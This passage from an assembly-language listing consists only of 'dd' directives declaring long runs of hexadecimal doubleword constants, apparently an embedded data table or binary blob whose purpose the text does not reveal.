		dd 0D133A4F4h, 93008E04h, 540C746Ah, 31F1BE24h,	0E1082598h
		dd 332080D3h, 0FBD174C1h, 3210005Dh, 0B201CE36h, 5900BBAFh
		dd 412BE786h, 9AF1D0h, 0E2B79F89h, 5796DEF3h, 0ECDD9207h
		dd 0AA8083C1h, 0FC8DED3Bh, 0A4B100B3h, 18F8A225h, 9C6371E3h
		dd 0C88352EAh, 584939F3h, 0C300B2B6h, 0C94CE7Ch, 34095C4Bh
		dd 548A0561h, 9BE30507h, 4984089h, 0C5B13117h, 228DF500h
		dd 6DEB3A7Fh, 80CB50D8h, 5CF40A49h, 40B08A9Ah, 0DE36F037h
		dd 88804621h, 0CB00C5CDh, 0EC42DA05h, 3B9C075Bh, 2074F93Ch
		dd 24C414A1h, 1F0B2000h, 4ED86F1h, 5B8B005Ch, 8C8ED8DDh
		dd 0D60066C2h, 375014AFh, 0B0A171h, 59822407h, 0EAAB60BCh
		dd 2DD80300h, 7DAFE19Bh
		dd 0A26800ADh, 0BFFBC0D9h, 970B2A4Bh, 66EAC5h, 5744DC31h
		dd 0D2EC01B9h, 2B38A3F7h, 9356ECB0h, 0E6881E00h, 0BDD8E845h
		dd 0CB370F43h, 7FF3CEh,	553F773Bh, 1800AC8Ch, 715CE996h
		dd 1F49CD28h, 0F6A2B2h,	8A6C14D8h, 8F01CAB7h, 80D47E78h
		dd 0CCF05F0Fh, 0CB300391h, 0D57908F9h, 13A837E0h, 1B1DF1F8h
		dd 2580FF3Bh, 0DC4BCF5h, 184CB87Ch, 21F2236Fh, 0E700844Dh
		dd 6837C36Eh, 7369F32h,	7ADC542Dh, 0F8FD60FFh, 23F0E1A1h
		dd 3ACE3Dh, 9E924844h, 48293h, 712EFE02h, 50BF9D4h, 189C840Eh
		dd 20E04E7Eh, 87BE6F4Eh, 0F07D00A6h, 0C54FA26Eh, 15075174h
		dd 752FBBE6h, 0CC2E8240h, 1F290FA0h, 8CC04692h,	9ABF55FAh
		dd 32BE8600h, 8799F05Ch, 0FDEFC61h, 0FD72A7C1h,	20AF33CFh
		dd 0D366C0C0h, 9F008C0Ah, 0C567AFD0h, 7D22252h,	1CED1211h
		dd 62D00DAh, 0AE98E814h, 0AEB1CA00h, 0CD64349Ch, 0E75800B8h
		dd 7356860Bh, 0B6E8AD9Dh, 9800AF75h, 333907ACh,	1F030555h
		dd 0C061C96Dh, 0E2C0B89h, 0CB00A7E6h, 0C1D0D29Dh, 6A84DE8h
		dd 812A163Eh, 6C009083h, 0F48427BCh, 3873ACDDh,	48805A60h
		dd 0DA1D5B0Ah, 1E2C3E54h, 2606F8B8h, 0F2D8FB98h, 0C42A017Bh
		dd 8D4BA24Fh, 388040DDh, 5D03EB04h, 88C856A7h, 0E418000Dh
		dd 93D1668Dh, 0B30CF1ADh, 58E33387h, 289B060Ah,	40AC2684h
		dd 36AA59C0h, 714BA548h, 0A4A379h, 9DE8DF58h, 1EACC9A3h
		dd 95A61084h, 885710B1h, 1071DA8Fh, 0CC9D34D0h,	55B0F922h
		dd 0DC1B1886h, 2B6058BFh, 0CD10E342h, 42BB3B0Bh, 84F75A15h
		dd 2CE08414h, 20FF0E1Eh, 4DFE121h, 1FD66CA7h, 1E823390h
		dd 9F02A6CBh, 1B08E68h,	3990CD2Fh, 0B7715080h, 16E85CFh
		dd 0A306751Fh, 0BA3CF0FAh, 0AB0A00E6h, 125C84CDh, 1329282Bh
		dd 61FB1E94h, 2F470CF1h, 770114D9h, 0CB90ADA0h,	3D43E6Dh
		dd 3C5500CDh, 563AE168h, 9D015F1Ah, 3B9281F6h, 7E46121h
		dd 3993001Eh, 0EDB5ACDCh, 2F0794BAh, 0E64B6BCCh, 28FDA800h
		dd 78A8C0DAh, 8A6A0FC2h, 82412300h, 3597A5AAh, 0EEAEF886h
		dd 1A0E017Dh, 6991615Bh, 0FB5B20B9h, 0C9703E00h, 99D874ADh
		dd 9C1C0095h, 1FA46B96h, 0DC002FF0h, 38B2893Ah,	0BE991Eh
		dd 1A923057h, 162B3395h, 93E2601Ch, 81828CFEh, 1170ADCh
		dd 50125528h, 0D07EC5AAh, 392E011Ah, 590E5542h,	0E0A920B1h
		dd 513AD6B9h, 0DE8790DAh, 0A04C0A8Dh, 271FBA52h, 0D1952804h
		dd 0D3C0C566h, 0F8E5871h, 202BDB7Bh, 97A241A0h,	9600A503h
		dd 4C8CF4B3h, 3837739Bh, 389F314Ah, 49ED0035h, 0A71F3D24h
		dd 3710402h, 5FE4FD5Ah,	81A290C1h, 58676B10h, 0E7D0C7F9h
		dd 0F65E00A3h, 5318F70Fh, 0CF037A6Ah, 31F92402h, 0E03000AEh
		dd 0A1E3F99h, 5B77F02Ah, 370BF400h, 0AE8C57B7h,	4B652E14h
		dd 18D50054h, 622EEDFBh, 5AB9513h, 1247031Dh, 0BEA0888Fh
		dd 0F03C7Ah, 0CC55ACE6h, 0B839DDDFh, 3582E200h,	67D9C975h
		dd 2C2E3F22h, 0E9450073h, 9EC73A41h, 4DEEE265h,	0A0F4AEF0h
		dd 0D7DC10C0h, 4489B5h,	2494FA8Eh, 602F68B7h, 0BF58A000h
		dd 0DA935FB2h, 0BC150082h, 0F50EC7AFh, 2E0098C8h, 82F959Ch
		dd 0E5C649h, 5C1A40A1h,	0B5484DBEh, 922ADF0Bh, 239C00B7h
		dd 99550Fh, 0BDAFDD71h,	0CD0B27CBh, 0C262A301h,	0F2A89CB6h
		dd 0D3E3E0h, 0A06DB32Bh, 82B8614Dh, 75006776h, 0B180F1E2h
		dd 1DE6EF29h, 0E160FC6h, 4720B759h, 0EB22743Bh,	0E38F8C00h
		dd 83B2A1A9h, 7E2EEA2Fh, 0D60400DBh, 0C7037D0Ah, 0E7002219h
		dd 0B925D10h, 0FCF05Ah,	7F0FA029h, 7D336614h, 7BBB8800h
		dd 9E50F4A8h, 0E12000CAh, 0C14FD56Ah, 210E7123h, 0E7CEC5E4h
		dd 0F22A47D7h, 145E500h, 0B15825h, 7AC3FA27h, 40341B77h
		dd 1F864A07h, 0DA60B370h, 7AB60A81h, 892307BBh,	51340DB4h
		dd 0C0177639h, 0B1F6647h, 81DEC383h, 0EC700640h, 1264D89h
		dd 98DACFEh, 0DC6C35AEh, 503DF125h, 0D545A4B0h,	0B2D58339h
		dd 0F9655709h, 0E9607AE8h, 8CA51C13h, 0D6734767h, 0C071F792h
		dd 5BCCA455h, 3CD9B001h, 9C89F96Fh, 6BB802Bh, 4000C768h
		dd 9D755E12h, 3048B72h,	7F949025h, 6B93D3F5h, 0AA2BC0EDh
		dd 593B88EBh, 0BE9F80C5h, 0ADAED074h, 0D9BB01C0h, 1202C745h
		dd 72F8EC1Eh, 4B170500h, 9B71556Bh, 0B397004Fh,	8AE20389h
		dd 410B6C85h, 809AB877h, 45232A3Eh, 4C514897h, 0CA907F00h
		dd 0DD389EDCh, 0A7638900h, 0E22CD8A1h, 95C107CDh, 43F44207h
		dd 2911C8ECh, 0F0080FE9h, 6104E16Dh, 400243B2h,	0C09F768h
		dd 2010293Eh, 0D22B8F5h, 0E24E07B1h, 0BE389FAAh, 3B0862A8h
		dd 0B51988EEh, 0D89B4D9Ch, 8F5AB50h, 0E7CA7929h, 8CB6C508h
		dd 0D9A17AD3h, 0D11C1084h, 3C9128B9h, 51EB9231h, 29841045h
		dd 6BB0D57h, 10F106FDh,	22D9354Ah, 4D530031h, 0E314795Dh
		dd 7F00F578h, 0F0EED324h, 0F808163Dh, 9E0E0096h, 0BDA6C34Dh
		dd 1096381h, 878F7B43h,	25208DBBh, 0B9FE20h, 0BF613628h
		dd 0AA134AAEh, 0A930ED00h, 9DB3F77Fh, 0EAA505ECh, 0C0899047h
		dd 0E46C38F8h, 0D60A38h, 0B8CBAD10h, 0FA0F7Ah, 72B3A222h
		dd 7FD84717h, 0DA1AE00Eh, 0C728801Ch, 0E804B88Ch, 0B1D43CB5h
		dd 7340B400h, 0F47F6010h, 8BE79E00h, 3715662Eh,	36610062h
		dd 6DE1A272h, 0E87E4182h, 22462B03h, 58920Fh, 0C77F38E2h
		dd 0DD5E1CDh, 28DCB300h, 0EDC026FDh, 0F32900CBh, 953B4FB7h
		dd 0E400D8AFh, 1F85E036h, 7918922h, 0DB925A5Dh,	0C8A3B0F1h
		dd 0A71ED9D6h, 7380A6C6h, 9D3CC2Eh, 0B82904C0h,	806D5035h
		dd 6FBE5B95h, 53DE7F00h, 8A286C90h, 4C9200BBh, 5FB4EAB8h
		dd 577C5DD2h, 0DF62E900h, 0F474D488h, 58260038h, 0D17BBFAh
		dd 0AA002BFFh, 0B07E8043h, 0B19CCAh, 0A7793A2Dh, 735F644Ch
		dd 775D6C00h, 1E096B13h, 49B1CC4h, 0C7374005h, 173AA825h
		dd 0F0533Dh, 86937F76h,	0E6D3EA3Bh, 0EFB600F3h,	4A4547DAh
		dd 0D09FA04h, 80A8E888h, 0FF221090h, 5B0A1229h,	4F3000A5h
		dd 90B1BF8Eh, 0D3744900h, 0D19BF966h, 3717008Ch, 565BAF25h
		dd 0FA00B06Eh, 0EC68AA01h, 22546Ah, 5ED78226h, 75F07EE9h
		dd 9CD18400h, 2463C23Bh, 73AF6C9h, 0E605FAA0h, 60006FCAh
		dd 7FA2C4ADh, 893E2B03h, 888FFE2Dh, 3FC811ABh, 70BEF7h
		dd 0E14D9AECh, 34AA0A6Ch, 5ED20F00h, 0B6AC5AC7h, 0D6093F35h
		dd 0B34500F0h, 0E63E5FD8h, 93002517h, 35332F7Fh, 85B98Bh
		dd 8E66CCF2h, 0F13D0B8Fh, 0DF3C0672h, 766F8097h, 79106E3Ch
		dd 83FE50ECh, 627138DEh, 406C1A81h, 0E8951C9Dh,	0D00BFEBh
		dd 475E232Eh, 2BCF38h, 0D259106Dh, 941CB333h, 88001C90h
		dd 7DBFF227h, 7D4649F0h, 6223008Dh, 0CE7A0E44h,	1B005FA7h
		dd 84ADA588h, 0B0B880h,	0BBD73ABEh, 0F32A6B44h,	0E0CAEA14h
		dd 670900D4h, 30A7286Ah, 9EB73BB5h, 0B472F200h,	76FA99D3h
		dd 2B9E200h, 5EA9CEB2h,	5AB52E90h, 0C0971CAAh, 3D1EBF80h
		dd 0FD0365F6h, 62C4B6B9h, 1BB80126h, 53951863h,	5243E0FEh
		dd 0DA6BBD01h, 858CA749h, 58189C20h, 0B10019D5h, 0FF9DEC3Ah
		dd 3F09A9DCh, 5D1227Eh,	38800549h, 0F4E313F3h, 45C5CEEh
		dd 0BCEC700h, 899DB076h, 0DFEF1500h, 12A5342h, 0D28D0073h
		dd 1D5972F9h, 0D8392F61h, 801848F0h, 4631C085h,	0A0090E73h
		dd 15240CBCh, 0D14809Ah, 0C120640Eh, 0B3390094h, 0FF8265FAh
		dd 34787075h
		dd 6F0F8A00h, 4B4A7E6Eh, 888E0E09h, 4320F4E5h, 7992D1A4h
		dd 581F2004h, 64C58A9Fh, 80D7E00h, 0F8ABCD84h, 6BFA15h
		dd 88C0A1BFh, 0B4A8224Eh, 0D1009CFEh, 0A76CBF0h, 8D3553h
		dd 1C6FA73h, 0AA63D52Fh, 66418407h, 1610F531h, 30BE88h
		dd 0F629EB98h, 37ADECCAh, 90144C00h, 0C212B6FCh, 151303CBh
		dd 0C97C28BAh, 201FC5B9h, 0D7018CACh, 85A0612Ch, 7FDC297Eh
		dd 5A78000Ch, 0AAE97DAFh, 8300AE30h, 3593F05Fh,	3BD47Bh
		dd 0FDD821C7h, 45D774A0h, 9526B87Fh, 0A600E624h, 9AEB04BBh
		dd 43D00042h, 60025BB6h, 7D01C08Bh, 2A6572FAh, 0B1E4B045h
		dd 0E9FE3Eh, 0A53BEAB7h, 5690342Bh, 0F5138F0Fh,	715C2512h
		dd 0FD35C800h, 50F7C0DBh, 6FA4F0h, 16119310h, 5F038023h
		dd 15B58400h, 4471B9A4h, 767B7D24h, 7F680076h, 0CFF9AECDh
		dd 96389B3Bh, 87A5800Ah, 0C9CB5E05h, 0F054015Ch, 0B4277C37h
		dd 728FE410h, 3940E300h, 44BAFE69h, 7649479h, 0C083D361h
		dd 766A3A4Fh, 0CA4E0F1Ch, 4E004B12h, 0A3B464E4h, 0C87A0F0Dh
		dd 336002FAh, 0B2FF8134h, 7B5CB107h, 0F1C0EF9Ah, 3A21C88Dh
		dd 0FD873869h, 0E22E9522h, 0C4400804h, 97718940h, 77986600h
		dd 7225DF1Ch, 0F4EE008Eh, 0F7FF6A88h, 4B09961Eh, 4B6DEB2h
		dd 44C08339h, 0E3E52Dh,	5DD0F7F1h, 37914327h, 482B8C03h
		dd 0A7572A5Fh, 39AE170h, 0D82600DDh, 518D3A61h,	3C00AC99h
		dd 82CEF31Eh, 9542C49h,	69E72AA7h, 3461BF0Fh, 80A1FB31h
		dd 540D2E9Eh, 3F63E04h,	4D52EF53h, 0A4A64115h, 15A904Ch
		dd 3CC2FE35h, 0ABDCE576h, 0A1C0015h, 44C76950h,	240797FCh
		dd 28EE2E71h, 947DC130h, 0E0120015h, 0C9CB1FDh,	4C00D05Fh
		dd 5A03B95Bh, 184EDA61h, 0C1CE4873h, 0D8009908h, 1666CD5Eh
		dd 0E880FFF8h, 0FB910764h, 4BF3A6DAh, 0EFDF9282h, 63E896C3h
		dd 2A07F9E8h, 1D9734CCh, 0A53E5710h, 0FDAD0B8Eh, 0A8002615h
		dd 1F82B373h, 787E5A07h, 9A004C46h, 979841h, 735AD9Dh
		dd 536C6386h, 8217D83Eh, 0E874FBFEh, 5AAA87B6h,	0FBBE04Eh
		dd 0E6A8694Fh, 1A6D00F5h, 35A46E7Ah, 53002655h,	5979F925h
		dd 0A80309h, 0A90719F7h, 0FC950F99h, 0A2B85700h, 3F04C93Dh
		dd 0D4711494h, 5D0084E7h, 0CB29459Dh, 630078A1h, 6C27371Ah
		dd 1BB68Fh, 2A62C187h, 0F35990A0h, 66EF4000h, 77D46393h
		dd 86F103DCh, 0CBDBEAD9h, 8DCF32C0h, 0B4982124h, 547B093Eh
		dd 1158A3EFh, 0D851B329h, 0FC464895h, 906C00C0h, 7DFE4B75h
		dd 1507C2FCh, 7ACB082h,	5A9A04A0h, 0BE700D3h, 23AE4FAAh
		dd 0F1005B49h, 90C086E3h, 7B7B011Dh, 0D49807B5h, 0B0C60D28h
		dd 54E7841Bh, 0A769B800h, 22D241D6h, 3B3E0C8h, 0EEC4AC80h
		dd 6EF097CAh, 7F00B459h, 0BC5EC32Ah, 7043DBh, 0BF59A60h
		dd 55CD2675h, 0C424B00h, 0EB8A66DAh, 0E2272810h, 1EC1009Ch
		dd 4DF5EAFBh, 0D6731968h, 928ADC00h, 56E32CE1h,	0BD74A1h
		dd 49653DD2h, 9C5C4E28h, 0C53A2300h, 0C9C30196h, 64D00FCDh
		dd 0D754F747h, 1E859C40h, 81C69209h, 511B08E8h,	0BDDCF0D2h
		dd 4FD9FD0Fh, 0C0492F53h, 254A70D0h, 968F0047h,	0C1EC8D40h
		dd 7500593Fh, 0A2C62F6h, 65FC4Bh, 6F25D231h, 0AB7ABBEDh
		dd 48F5C63Eh, 0CBB7B050h, 0BF4C0045h, 55662E72h, 4A00F8B9h
		dd 0B2E20359h, 0F2C987Fh, 93EF5839h, 0DB5113E0h, 2B00E3BBh
		dd 0AE8F5082h, 1D3E667Dh, 40C388ACh, 0AB15116Ah, 10027CA0h
		dd 90B27250h, 0DCF4A0A4h, 0FAF6E1h, 7F8F9F14h, 9E0E9D63h
		dd 0AB6F102h, 60B72CB4h, 5856D8FBh, 0BF1C3D6Fh,	577DC599h
		dd 0CFCE076Ah, 2DB190F0h, 4118454Dh, 0B6988C29h, 427E3AE8h
		dd 1C7F028Eh, 0B4435940h, 0B900C963h, 917592F5h, 3F0D8Ch
		dd 541EC877h, 1C08FF45h, 33B80700h, 0C9245DA9h,	0DBF30058h
		dd 3E68756h, 0C003EA39h, 0A8730B3Ah, 0C85EE981h, 3F7DB530h
		dd 9D006433h, 8D74BBDCh, 21004A58h, 8ADD931Ah, 0EA50B3h
		dd 83B89216h, 95995E75h, 82B50B01h, 0FFBBECE0h,	78EA23C8h
		dd 63ED146Fh, 0C803AE1Ch, 884A3BA4h, 0F95E1100h, 0F4D57EE7h
		dd 0E0C900F5h, 5A9FC87h, 8E030DB8h, 0EF43CA67h,	0A3B5E01Dh
		dd 3D270B56h, 4F00B13Ah, 202EB728h, 4848AD73h, 9F830059h
		dd 0F960449Dh, 31251252h, 7AAC80A7h, 0D51E9984h, 784009ECh
		dd 469CF3AFh, 25F000EEh, 0FA0BE9A7h, 143EB363h,	57681C85h
		dd 0A7D8AA09h, 0B937DE28h, 2E59DC50h, 69FE2Fh, 0B74DB8E2h
		dd 0DE1B7973h, 0D8D5BE00h, 34589FE3h, 9E2002Ch,	0F013285Ah
		dd 47001D84h, 0B75B6B43h, 3C6A9F93h, 518058DFh,	0E727900Dh
		dd 0A10B92C5h, 62AFC1h,	670C8F03h, 68F248E0h, 0C67FCA00h
		dd 2F9EDB24h, 161DF5Ch,	0CEF1E54Ch, 48C08E0Ch, 0BACB002Ch
		dd 1E47E91Ah, 273B6BE4h, 0D1F50010h, 0F3A1D843h, 0D0FE4Bh
		dd 488444FCh, 0B7B5CE77h, 9F290A1Eh, 25D1FD40h,	92EE1Ah
		dd 0D5019806h, 21BC0EB8h, 80F06D3Bh, 6686DBC6h,	2E3199h
		dd 0A7C1E43Ch, 0B5E8605Bh, 4391BD01h, 34ED62D7h, 31ABA440h
		dd 0CC9833h, 0EBC6B161h, 0D2838039h, 532F9300h,	58E07246h
		dd 12771EA2h, 0EB450255h, 7402D51h, 3E00C2A6h, 65AC33A4h
		dd 112CABh, 0F86614EFh,	928FB2ECh, 3B649B00h, 9A177C6Ch
		dd 0FB4E3EACh, 25A68900h, 9130FEF0h, 0A4BB4930h, 0E0993Dh
		dd 2B838E8Dh, 0BC4B01F8h, 58972800h, 3BC9B686h,	4A2C006Fh
		dd 0BF78B75Eh, 8A26EE0Ah, 7C0F428Eh, 765A203Fh,	0F294482h
		dd 6C71DC0Ch, 0F11CABA0h, 0E800CE9Ah, 0EA4BBF93h, 72F2BC55h
		dd 84F300CCh, 97CFDCA7h, 3A381411h, 0FEA801F1h,	800B6269h
		dd 5B403A30h, 556200FAh, 392F794Fh, 7F003BF0h, 7B5FC79Ah
		dd 76EBD821h, 0E43E00DDh, 0C6B4B399h, 0B00FD20h, 8C564BF7h
		dd 58BD1Eh, 49DA9544h, 9B53E467h, 1C9F6A00h, 0B57D65ABh
		dd 0BB2B1CFEh, 7ADAC088h, 0A91032D7h, 0F83CE613h, 0DD1FE800h
		dd 0F4A6BCB4h, 62790082h, 907AC871h, 2C1C089Eh,	0FD09DDA9h
		dd 8F018261h, 7CCD03Fh,	22F8E0DFh, 6BFB9066h, 5800F305h
		dd 82985DD1h, 90B9A443h, 7EAB05CEh, 809052A2h, 0DF119E52h
		dd 8D9CD300h, 216CB9A1h, 94BC0FF1h, 6280076Fh, 81C19F6Dh
		dd 183F7E03h, 808B0EB1h, 61C43EDh, 6A653A7Bh, 4E002C83h
		dd 0F24751CDh, 0FCC6E92h, 0EB763D55h, 27FF8120h, 93007D33h
		dd 93BF50Dh, 0BECB5Fh, 0DF07E6E3h, 61558168h, 6BF3B800h
		dd 3E1226AAh, 0BC5F00DCh, 423AC6A7h, 52045AF9h,	23BA5EF5h
		dd 78B33880h, 0B1C30044h, 0AD748D82h, 0DD1F81AEh, 0A5C7FB26h
		dd 0B1063D2h, 50689CF8h, 76E1F2h, 5980CD78h, 7EC7F21h
		dd 3054E70h, 0E41CCF5Dh, 6EEA80BBh, 0F05CF7C3h,	5E4C8738h
		dd 6AE2D4D0h, 0D04A01h,	0AA7D8B6Ch, 4A05CBF7h, 104FDB66h
		dd 0CF1C9D80h, 88F80011h, 84CEA84h, 0D0FBFBEh, 20B22E32h
		dd 529995E7h, 245CBA68h, 26B77C64h, 0DB540062h,	2F4D6607h
		dd 6AE0CA00h, 2C262AE1h, 0DAD20EF4h, 1820405Eh,	85A603ECh
		dd 62411500h, 0ADABBEA2h, 0D33E0371h, 4E47E84Ah, 0E36AF6B0h
		dd 7CEC6D00h, 9101B568h, 91135854h, 7104B801h, 0C00D2351h
		dd 1C008E12h, 0C14BF086h, 3B6AE948h, 0DA80A93Eh, 0D7FE0AC8h
		dd 0C3FFF06h, 0E26B8015h, 0C62BFCEAh, 8BD40082h, 0B30873DBh
		dd 3F0FCE53h, 0C0D63849h, 15472336h, 734C002Eh,	2BFA6655h
		dd 0B148130Dh, 0E30F784Dh
		dd 61689A65h, 2C86E037h, 2C9442D0h, 269B220h, 0ECA36BD7h
		dd 53A06C60h, 0FDF43Dh,	2AF0C3BBh, 0B9DA7Dh, 42B4A949h
		dd 0F9430C1Eh, 6E9C0300h, 0F74EC6BBh, 0BE621689h, 849C802Ah
		dd 8A0045D7h, 0F11A5336h, 0F568763h, 0AD7AF243h, 3141E5h
		dd 5DEE1FBCh, 0EA00A1D6h, 0C351DC6Eh, 1336805Ch, 423011Bh
		dd 0C0BE6C31h, 0C10ACE08h, 1E248200h, 374402D3h, 0DF780053h
		dd 0D512A210h, 55FCD94Eh, 79BEF702h, 60D2630Ch,	57F850h
		dd 0E225906Eh, 0FC421073h, 0EEB97C00h, 0E7B44775h, 9F3B0167h
		dd 0DF666BC9h, 0A0DF44A9h, 7225EEFCh, 27B0B42Fh, 12F0223Ah
		dd 0D72E1B1Fh, 7D354AC0h, 2054FF8h, 0FDC9ACF9h,	1C03466h
		dd 0B24CC714h, 0B9BB0050h, 1E285106h, 8D712695h, 9889B98Ch
		dd 6809321h, 906692FDh,	5B84201Eh, 0FA4BEFC0h, 0EC27EB99h
		dd 0E6B15C33h, 5E4D4801h, 50803D43h, 2C383BF4h,	7A845C01h
		dd 64350699h, 75E123F8h, 45D900FDh, 0B95C83F0h,	42007DB8h
		dd 35BA5444h, 0E19899h,	0A22E1AEEh, 0A55E0D31h,	66008874h
		dd 74720910h, 0EC0405AEh, 6E73070Eh, 21C401A4h,	0CF25853Dh
		dd 0A8C7ACD8h, 3184D200h, 0AA09E5D7h, 0CCFE46h,	5A47E097h
		dd 1F74811Bh, 632DE300h, 5E7DCA30h, 0E4AD7E65h,	5F00B656h
		dd 0F0F01190h, 812E6AA7h, 91408044h, 840B17h, 5E1503A0h
		dd 0DF37A54Dh, 42E953Dh, 456A06C0h, 9DF07080h, 34173FC4h
		dd 2B0C2D07h, 0EEB81046h, 0E800FBFEh, 0DF24A70h, 2C80E0h
		dd 0A6DE6FCDh, 954109C0h, 0B1EDEC07h, 0FD30A096h, 0B8B985Ah
		dd 183CF6EFh, 306AE707h, 2F2A124Eh, 0DED7F407h,	0C262A7B6h
		dd 72C44092h, 0A0344936h, 9501A838h, 0CDFA370Bh, 38D881C5h
		dd 0EFFCBC8Ah, 278570h,	0CE5293E0h, 26D8A892h, 0C8AE2E00h
		dd 0EC8A37C0h, 5EDB00AFh, 0AB3938Bh, 92017928h,	0C221D343h
		dd 42D4F67Ch, 58C9E252h, 400081CBh, 2AEFA51Fh, 2F001CC0h
		dd 0A4828460h, 3751636h, 0B1885835h, 70B787E7h,	784D19CDh
		dd 737C8100h, 0D3C121E8h, 38E8CFh, 0E6F935C0h, 0A3D2F764h
		dd 87746200h, 0EF367348h, 0B57483h, 21F0F67Bh, 0B0942AB9h
		dd 0DCC8AC02h, 58CA4A13h, 0F9894C8h, 6884D4B8h,	8C1EC054h
		dd 12002266h, 9639C280h, 4C878D4Fh, 56003E0Fh, 0A951505Ah
		dd 210E26D0h, 60636055h, 0A47B2213h, 0BAC65CAFh, 8464B000h
		dd 26485C12h, 977EB81Eh, 0DDACC0C0h, 0C6BCE8h, 758580F3h
		dd 3144865h, 0FA0FF57Ah, 0BDF75Bh, 9840C75Dh, 7EC90C0h
		dd 522F13F0h, 0D6F53054h, 0C80B7BD8h, 0FB0EDFh,	3993554Eh
		dd 5A2E0507h, 0E1D265h,	0F6AA86DCh, 58035137h, 829F1398h
		dd 60A58247h, 185E40h, 0DE508C4Ch, 4D44ADC6h, 9E263300h
		dd 743488ABh, 2CA80163h, 1F7D29E8h, 4052E11h, 0D4C0CE9Dh
		dd 0F403566Fh, 0DC00053h, 4CD7C4Ah, 54772287h, 8503C673h
		dd 39BDAF7Fh, 0F374D86Dh, 35200E4h, 0C11AAACCh,	167A6954h
		dd 6C62A800h, 0C56FFB32h, 0AF030086h, 7E3B710Dh, 900017FCh
		dd 49BACAD8h, 6ADDBDh, 47D6467Ah, 0EABB75DBh, 5B09A50Fh
		dd 7FC9E0FCh, 1393F737h, 0B5FF91h, 0A0BC9AE0h, 0D500C230h
		dd 0DB9F9B32h, 0FCF420Ah, 4877196Ch, 88DA1F60h,	4926E961h
		dd 0E11FAAD4h, 43C8400h, 3FFCF4C9h, 0AD80B54Dh,	0CED1E5EBh
		dd 910F8B4Eh, 8E810D1Bh, 9F2862CDh, 0B8FC680Ch,	0E834AD1h
		dd 5940AD50h, 0F65BDD0Bh, 90FDE400h, 0D9DED109h, 33DF0AFh
		dd 100CDC54h, 96988F80h, 820020E5h, 0C269EDB2h,	0A4F8C1h
		dd 0E23B98EAh, 0A1A69AB4h, 430248h, 0B6892B39h,	5C9C371Ah
		dd 4051A5B7h, 0A5020032h, 2F23A243h, 0AE35140h,	0FBE69E0Eh
		dd 0F7E580C3h, 3E25B36Fh, 1B2A773Bh, 2C59E4E8h,	0D0B943h
		dd 551926C1h, 8E0087C8h, 71938AC9h, 7D6BE6B7h, 0CAD300F4h
		dd 0FB725DD2h, 0AE28ED5Eh, 890AAA25h, 0D72F6CDBh, 947E1600h
		dd 0A6915Ah, 76627283h,	0C1B2DCD8h, 71207817h, 1681C440h
		dd 1D7CA6A4h, 0C0734185h, 956D919h, 0D50024C0h,	8D9508E3h
		dd 1CFF4D1h, 3A9B0BA0h,	0E01F8EE0h, 0CE0E0E9Ch,	87A554A4h
		dd 0B1B15AFCh, 34203665h, 0A2C600EAh, 0DADD3079h, 1203F911h
		dd 0CC6DEDA6h, 3E82C041h, 31B7183h, 68AACBCh, 308F745Bh
		dd 6F270935h, 0BF991700h, 987D7A69h, 0EEDE0096h, 0F68B6553h
		dd 5F0087C3h, 0FB833041h, 909DE957h, 6B163CC0h,	409BD19Ch
		dd 337FE463h, 0BD1E8E66h, 314036FCh, 7A89274Dh,	349EBFh
		dd 760D3EC9h, 4800D78Dh, 0A290D124h, 0AC7483h, 0F2C20FE4h
		dd 0AF70308h, 0C4C58424h, 25809E1Fh, 0D83CAF38h, 72622E61h
		dd 0A41C81A4h, 80F601C8h, 0A1A99628h, 0BAA0179Dh, 9C6500C8h
		dd 4E54D252h, 7100E026h, 0DE2D691Dh, 0F2BF70EDh, 41F4D8h
		dd 0D13405E3h, 0EEDB1B5Dh, 813FA501h, 6D52E092h, 0F63CFCh
		dd 5BFF8874h, 60BC576h,	6C11A303h, 0F0F32395h, 1E3DDBA6h
		dd 72EDC1h, 1A5D3E09h, 0C50454A3h, 774F4D0h, 0A76B9CD0h
		dd 0F0674EAh, 4DCD10C9h, 5E1B5540h, 1A079CC2h, 32C585E1h
		dd 0DBC0AE37h, 24676C0h, 97FDFA8h, 784016A0h, 0EC004791h
		dd 41D59CEh, 0D5C301h, 0B6813049h, 357CD07Ah, 1E70C39h
		dd 797E6572h, 0A06ACB61h, 76002D83h, 9A3A137Ch,	6DE127h
		dd 0F3B3F04h, 0F0F8A735h, 0F625BF17h, 27B5E400h, 12E4E610h
		dd 803DF71Bh, 3C72D44Ch, 0EB02F5Ch, 61209BB7h, 0CD054C3Ah
		dd 5D3D70h, 8F755012h, 60AA062Ah, 0B5B3E00h, 8DB807A4h
		dd 0B9C303E8h, 0D6D7E33Ah, 0FC4FFE89h, 6A12B475h, 0A8807C61h
		dd 0D52308h, 3C07961Bh,	76C80D95h, 6322C400h, 4C034A68h
		dd 884950D6h, 1C5401BBh, 0AC1BA929h, 5CD1D38Fh,	0C92C703Bh
		dd 130B0400h, 79BEC273h, 2E28002Bh, 0C87F0EEBh,	4000184Ah
		dd 0B38FBBA1h, 30CAFCh,	905865F8h, 69127A82h, 961E0900h
		dd 8A2C0AC3h, 0DFE23AFBh, 332DCA00h, 0F3376714h, 1FE59913h
		dd 77F6AC00h, 0CB5C2Fh,	0D0E3448Dh, 40FB2D4Dh, 800F4B3Fh
		dd 736A97E9h, 0C6A0ABh,	9F2A590h, 0BDB026F4h, 39CB1500h
		dd 9D8E8F86h, 87D7005Bh, 6E3DD18h, 3D243A25h, 28000910h
		dd 81507D6Bh, 34C10391h, 796A9BD4h, 0FC46E80h, 30241000h
		dd 42CD610Ch, 0EAE300CAh, 361911AEh, 0ED0035BAh, 0BEF2063Eh
		dd 0A7DB3Ah, 0FFE3E46Dh, 201D2B9Fh, 0C33058h, 0CC823570h
		dd 203C09Ch, 68663B2h, 0A960AF01h, 18B0A94Dh, 31D343Bh
		dd 56458962h, 40FCAAA7h, 3F1FE86h, 99BD6987h, 9CD0F994h
		dd 0BF000471h, 141EB3D7h, 0DD4DB1h, 0C8DAE6B6h,	84F25889h
		dd 0D35F4614h, 62EA24DDh, 88157F00h, 778F1F1Dh,	75110047h
		dd 9BB53A67h, 35004F71h, 0D0C9E072h, 0B81AFFh, 0EB56B60Bh
		dd 8C09DA31h, 0DE0AA715h, 9B0D0FD3h, 80D84035h,	69A6F9h
		dd 5E8EAFD5h, 0DC0E3AB6h, 81B97F01h, 4D36D2CEh,	0A432F4h
		dd 0A67D0D8Ch, 0AB93CC3Bh, 57ADAF0Fh, 5EE8034h,	0B815E0A5h
		dd 275D0E3Dh, 2EE00BE3h, 833CC33Dh, 457BB1Ch, 0ED56A740h
		dd 1824133h, 0DD8469Ch,	0DC36E6EBh, 6D00256Ch, 0B8C4E4D5h
